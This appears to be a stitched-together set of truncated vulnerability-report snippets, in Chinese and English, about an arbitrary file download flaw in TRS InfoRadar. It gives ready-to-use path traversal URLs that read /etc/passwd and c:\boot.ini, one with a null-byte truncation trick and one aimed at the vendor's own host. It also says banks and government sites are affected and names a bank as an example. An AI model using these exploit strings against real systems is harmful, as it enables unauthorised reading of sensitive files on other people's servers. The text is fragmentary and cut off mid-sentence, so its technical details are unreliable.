trs某系统任意文件下载漏洞第二弹

简要描述： 感觉挺严重的问题，存在的地方包括但是不局限银行、政府等行业。 详细说明： exp inforadar/jsp/util/filedownload.jsp?filePath=../../../../../../../etc/passwd exp2 http://inforadar.trs.com.cn/jsp/util/filedownload.jsp?filePath=c:%5Cboot.ini%00.xml 官方网站需要加个截断，就可以了 应该是神马雷达系统。 很多地方都有这问题。 但是google找不到多少个，因为很多都是二次开发，目录明改变了。 比如招行。。。...

TRS InfoRadar 4.5 inforadar/jsp/file/file_download.jsp 任意文件下载

No description provided by source...

trs inforadar arbitrary file read vulnerability-vulnerability warning-the black bar safety net

Brief description: Doing projects found inforadar arbitrary file read vulnerability Detailed description: Doing projects found inforadar arbitrary file read vulnerability /inforadar/jsp/file/filedownload. jsp? fileType=file&fileName=../../../../../../../../../../../../../../etc/passwd Vulnerabili...